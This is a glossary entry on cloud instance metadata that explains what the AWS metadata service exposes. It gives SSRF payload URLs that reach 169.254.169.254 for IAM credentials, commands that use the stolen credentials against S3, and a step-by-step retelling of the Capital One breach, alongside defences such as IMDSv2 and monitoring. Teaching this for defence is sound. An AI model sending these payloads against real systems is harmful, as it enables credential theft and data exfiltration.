Metadata

Short Definition

Metadata is "data about data." In the cloud, it's info about your server: its ID, network settings, and crucially, temporary passwords (credentials) to access other services. Problem: accessible at a well-known address attackers love to target.

Full Definition

In general computing, metadata describes characteristics of data. In cloud security context, it specifically refers to instance metadata provided by cloud platforms.

Cloud Instance Metadata includes:

Identity information:

Instance ID
Account ID
Region/Availability zone
Instance type

Network configuration:

Private IP address
Public IP address
Security groups
MAC address

IAM credentials:

Access key ID
Secret access key
Session token
Expiration time

User data:

Bootstrap scripts
Configuration files
Sometimes contains secrets

How to access (AWS example):

bash

1# Get instance ID
2curl http://169.254.169.254/latest/meta-data/instance-id
3
4# Get IAM role credentials
5curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

Why It Matters

Essential for cloud instances to function
Contains highly sensitive credentials
Primary target in SSRF attacks
Credentials valid for hours
Standard address across all instances

How Attackers Use It

SSRF attack to steal metadata:

Find vulnerable endpoint:

python

1# Application fetches images from URLs
2POST /fetch-image
3{"url": "http://example.com/pic.jpg"}

Request metadata instead:

python

1{"url": "http://169.254.169.254/latest/meta-data/"}

Server responds with metadata:

bash

1ami-id
2ami-launch-index
3iam/
4instance-id
5...

Get credentials:

python

1{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole"}

Returns:

json

1{
2  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
3  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
4  "Token": "very-long-session-token...",
5  "Expiration": "2026-02-27T12:00:00Z"
6}

Use credentials:

bash

1aws s3 ls --access-key ASIA... --secret-key wJal...
2# Now has access to all S3 buckets the role permits

How to Detect or Prevent It

Prevention:

Use IMDSv2:

bash

1# IMDSv2 requires token first
2TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
3
4# Then use token in header
5curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

SSRF attacks can't easily replicate PUT request + custom header.

Network restrictions:

bash

1# Set hop limit to 1 (prevents forwarding)
2aws ec2 modify-instance-metadata-options \
3    --instance-id i-1234567890abcdef0 \
4    --http-put-response-hop-limit 1

IAM role restrictions:

Apply least privilege
Limit what metadata credentials can access
Use resource-based policies

Application-level:

Block 169.254.169.254 in outbound requests
Validate URLs before fetching
Use allowlists for external requests

Detection:

Monitor metadata endpoint access
Alert on unusual access patterns
Track credential usage by source
Log all API calls made with metadata credentials

Common Misconceptions

"Metadata is just technical info" - Contains full credentials
"Can't access from outside" - SSRF bypasses this
"Metadata changes require restart" - Dynamic, updates automatically
"Blocking IP is enough" - Can use DNS name in some clouds
"IMDSv2 completely prevents SSRF" - Helps significantly but not 100%

Real-World Example

Capital One Breach - Metadata Exploitation

Step-by-step:

Vulnerable WAF accepted URLs
Attacker probed:

bash

1http://169.254.169.254/
2→ Got response!

Listed IAM roles:

bash

1http://169.254.169.254/latest/meta-data/iam/security-credentials/
2→ Response: ISRM-WAF-Role

Retrieved credentials:

bash

1http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role
2→ Full AWS credentials returned

Used credentials to list S3:

bash

1aws s3 ls --profile stolen-creds
2→ 700+ buckets visible

Downloaded sensitive data:

bash

1aws s3 sync s3://bucket-with-customer-data ./
2→ 100M+ customer records

Why it worked:

IMDSv1 (no authentication required)
WAF role over-permissioned
No monitoring for unusual metadata access
No validation on URL fetching

Cost: $230M+ in fines and remediation

IMDS, Cloud Infrastructure, Credentials, SSRF, Access Key

Short Definition

Full Definition

In general computing, metadata describes characteristics of data. In cloud security context, it specifically refers to instance metadata provided by cloud platforms.

Cloud Instance Metadata includes:

Identity information:

Instance ID
Account ID
Region/Availability zone
Instance type

Network configuration:

Private IP address
Public IP address
Security groups
MAC address

IAM credentials:

Access key ID
Secret access key
Session token
Expiration time

User data:

Bootstrap scripts
Configuration files
Sometimes contains secrets

How to access (AWS example):

bash

1# Get instance ID
2curl http://169.254.169.254/latest/meta-data/instance-id
3
4# Get IAM role credentials
5curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

Why It Matters

Essential for cloud instances to function
Contains highly sensitive credentials
Primary target in SSRF attacks
Credentials valid for hours
Standard address across all instances

How Attackers Use It

SSRF attack to steal metadata:

Find vulnerable endpoint:

python

1# Application fetches images from URLs
2POST /fetch-image
3{"url": "http://example.com/pic.jpg"}

Request metadata instead:

python

1{"url": "http://169.254.169.254/latest/meta-data/"}

Server responds with metadata:

bash

1ami-id
2ami-launch-index
3iam/
4instance-id
5...

Get credentials:

python

1{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole"}

Returns:

json

1{
2  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
3  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
4  "Token": "very-long-session-token...",
5  "Expiration": "2026-02-27T12:00:00Z"
6}

Use credentials:

bash

1aws s3 ls --access-key ASIA... --secret-key wJal...
2# Now has access to all S3 buckets the role permits

How to Detect or Prevent It

Prevention:

Use IMDSv2:

bash

1# IMDSv2 requires token first
2TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
3
4# Then use token in header
5curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

SSRF attacks can't easily replicate PUT request + custom header.

Network restrictions:

bash

1# Set hop limit to 1 (prevents forwarding)
2aws ec2 modify-instance-metadata-options \
3    --instance-id i-1234567890abcdef0 \
4    --http-put-response-hop-limit 1

IAM role restrictions:

Apply least privilege
Limit what metadata credentials can access
Use resource-based policies

Application-level:

Block 169.254.169.254 in outbound requests
Validate URLs before fetching
Use allowlists for external requests

Detection:

Monitor metadata endpoint access
Alert on unusual access patterns
Track credential usage by source
Log all API calls made with metadata credentials

Common Misconceptions

"Metadata is just technical info" - Contains full credentials
"Can't access from outside" - SSRF bypasses this
"Metadata changes require restart" - Dynamic, updates automatically
"Blocking IP is enough" - Can use DNS name in some clouds
"IMDSv2 completely prevents SSRF" - Helps significantly but not 100%

Real-World Example

Capital One Breach - Metadata Exploitation

Step-by-step:

Vulnerable WAF accepted URLs
Attacker probed:

bash

1http://169.254.169.254/
2→ Got response!

Listed IAM roles:

bash

1http://169.254.169.254/latest/meta-data/iam/security-credentials/
2→ Response: ISRM-WAF-Role

Retrieved credentials:

bash

1http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role
2→ Full AWS credentials returned

Used credentials to list S3:

bash

1aws s3 ls --profile stolen-creds
2→ 700+ buckets visible

Downloaded sensitive data:

bash

1aws s3 sync s3://bucket-with-customer-data ./
2→ 100M+ customer records

Why it worked:

IMDSv1 (no authentication required)
WAF role over-permissioned
No monitoring for unusual metadata access
No validation on URL fetching

Cost: $230M+ in fines and remediation

IMDS, Cloud Infrastructure, Credentials, SSRF, Access Key

Metadata

Short Definition

Full Definition

Why It Matters

How Attackers Use It

How to Detect or Prevent It

Common Misconceptions

Real-World Example

Sources & References

Metadata

Short Definition

Full Definition

Why It Matters

How Attackers Use It

How to Detect or Prevent It

Common Misconceptions

Real-World Example

Sources & References

Sources & References

Related Concepts

Instance Metadata Service(IMDS)

Cloud Infrastructure

Credentials

Server-Side Request Forgery(SSRF)

Sources & References

Related Concepts

Instance Metadata Service(IMDS)

Cloud Infrastructure

Credentials

Server-Side Request Forgery(SSRF)